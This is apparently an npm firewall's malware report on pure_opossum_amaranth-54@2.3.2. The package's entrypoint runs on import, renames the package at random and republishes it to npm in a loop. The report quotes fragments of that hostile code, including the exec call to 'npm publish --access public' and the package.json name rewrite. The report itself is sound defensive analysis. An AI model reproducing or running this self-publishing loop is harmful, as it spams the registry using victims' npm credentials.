--- canonical: "https://firewall.lpm.dev/npm/pure_opossum_amaranth-54" markdown: "https://firewall.lpm.dev/npm/pure_opossum_amaranth-54/report.md" package: "pure_opossum_amaranth-54" report_status: "published" title: "pure_opossum_amaranth-54@2.3.2 npm security report" verdict: "malicious" version: "2.3.2" --- # pure\_opossum\_amaranth-54@2.3.2 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — May publish package contents repeatedly to npm under names chosen by the script, using the caller's npm authentication and current-directory files. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 2.3.2 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package's main entrypoint performs repeated public npm publishing under generated package names, an account action that runs on import without a specific publish request. The README describes a manually run auto-publishing script, but that does not make the entrypoint's import-time publishing behavior safe. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 97.0% - **Started:** 2026-11-04T09:51:52.268Z - **Finished:** 2026-11-04T09:52:33.132Z - **Download time:** 260 ms - **Static scan time:** 15 ms - **AI review time:** 40588 ms - **Total time:** 40864 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Importing the package starts an unbounded cycle that republishes the current package under generated names. - **Trigger:** Import of the package through its main entrypoint; the README also documents direct script execution. - **Impact:** May publish package contents repeatedly to npm under names chosen by the script, using the caller's npm authentication and current-directory files. - **Evidence paths:** package.json, autopublish.js - **Review source:** ai\_review - **Reviewed:** 2026-11-04T09:52:33.132Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The entrypoint edits package metadata and invokes npm publish, then schedules another cycle. - **Attack narrative:** The declared main entrypoint immediately runs a publishing loop. It changes the current package name to a random value, writes package.json and package-lock.json, and invokes npm publish; after a delay it repeats. Importing the package can therefore publish package contents under names selected by the code using the caller's npm credentials. - **Rationale:** The package's main entrypoint performs repeated public npm publishing under generated package names, an account action that runs on import without a specific publish request. The README describes a manually run auto-publishing script, but that does not make the entrypoint's import-time publishing behavior safe. - **Files touched:** package.json, package-lock.json ### Review decision - **Verdict:** Malicious - **Confidence:** 97.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The package declares autopublish.js as its main entry point, so importing it runs that file., The entrypoint immediately starts publishing and repeats the operation after a delay., Each cycle replaces the package name with a random name, writes package.json and package-lock.json, and runs npm publish. - **Evidence against:** The README openly describes the package as an auto-publishing script and tells users to run it explicitly., No install lifecycle hook or credential collection was identified. ## Affected versions and remediation This report applies to pure\_opossum\_amaranth-54@2.3.2. - Avoid installing pure\_opossum\_amaranth-54@2.3.2. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** autopublish.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L1: const fs = require('fs'); L2: const { exec } = require('child_process'); L3: ``` ### 3. High: Shell - **Category:** Source - **Confidence:** 85.0% Package source references shell execution. ### 4. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 5. Critical: Npm Publish Worm - **Category:** Source - **Confidence:** 90.0% - **Path:** autopublish.js - **Public source:** [View source]() Source mutates package metadata and republishes itself to npm. Public source snippet (untrusted): ```javascript L1: const fs = require('fs'); L2: const { exec } = require('child_process'); L3: ... L28: const animationInterval = setInterval(() => { L29: process.stdout.write('\r' + animation[currentFrame]); L30: currentFrame = (currentFrame + 1) % animation.length; ... L32: L33: let packageJson = fs.readFileSync('package.json'); L34: let packageData = JSON.parse(packageJson); L35: let randomString = generateRandomString(10); ... L45: L46: exec('npm publish --access public', (error, stdout, stderr) => { ``` ### 6. Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** autopublish.js - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```javascript Trigger-reachable chain: manifest.main -> autopublish.js L1: const fs = require('fs'); L2: const { exec } = require('child_process'); L3: ... L28: const animationInterval = setInterval(() => { L29: process.stdout.write('\r' + animation[currentFrame]); L30: currentFrame = (currentFrame + 1) % animation.length; ... L32: L33: let packageJson = fs.readFileSync('package.json'); L34: let packageData = JSON.parse(packageJson); L35: let randomString = generateRandomString(10); ... L45: L46: exec('npm publish --access public', (error, stdout, stderr) => { ``` ### 7. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 8. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 85.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 9. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** autopublish3.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = 49b7c8d728f416b2 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = sound_deer_apricot-15@2.1.4 matchedPath = autopublish3.js matchedIdentity = npm:c291bmRfZGVlcl9hcHJpY290LTE1:2.1.4 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 97.0% - **Path:** package.json - **Public source:** [View source]() The package declares autopublish.js as its main entry point, so importing it runs that file. Public source snippet (untrusted): ```json "description": "Ini adalah script Node.js yang bisa auto ganti nama package dalam file `package.json` dan `package-lock.json`, serta bisa publish pa ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 97.0% - **Path:** autopublish.js - **Public source:** [View source]() The entrypoint immediately starts publishing and repeats the operation after a delay. Public source snippet (untrusted): ```javascript exec('npm publish --access public', (error, stdout, stderr) => { clearInterval(animationInterval); process.stdout.write('\r'); if (error) { console.error(`E ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 97.0% - **Path:** autopublish.js - **Public source:** [View source]() Each cycle replaces the package name with a random name, writes package.json and package-lock.json, and runs npm publish. Public source snippet (untrusted): ```javascript packageData.name = `${randomString}-notthedevs`; //bisa ganti "-notthedevs" dengan apapun fs.writeFileSync('package.json', JSON.stringify(packageData, null, 2)); let pack ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 3 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 3 ### Published dependency entries - chisez2309 ^1.1.4 (Dependency) - login ^0.8.0 (Dependency) - unique-names-generator ^4.7.1 (Dependency) ## Package metadata - **Package:** pure\_opossum\_amaranth-54 - **Ecosystem:** npm - **Version:** 2.3.2 - **License:** ISC - **Version published:** 2024-05-21T16:23:52.766Z - **Package first seen:** 2026-11-04T09:52:33.132Z - **Package last seen:** 2026-11-04T09:52:33.132Z - **Known versions:** 1 - **Latest version:** 2.3.2 - **Appeal under review:** No - **Description:** Ini adalah script Node.js yang bisa auto ganti nama package dalam file \`package.json\` dan \`package-lock.json\`, serta bisa publish package ke npmjs.com dengan\`npm publish\`. Script ini memiliki jeda waktu 1-5 menit untuk publish package selanjutnya. Sambil - **Artifact files:** 5 - **Artifact unpacked size:** 15,884 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]()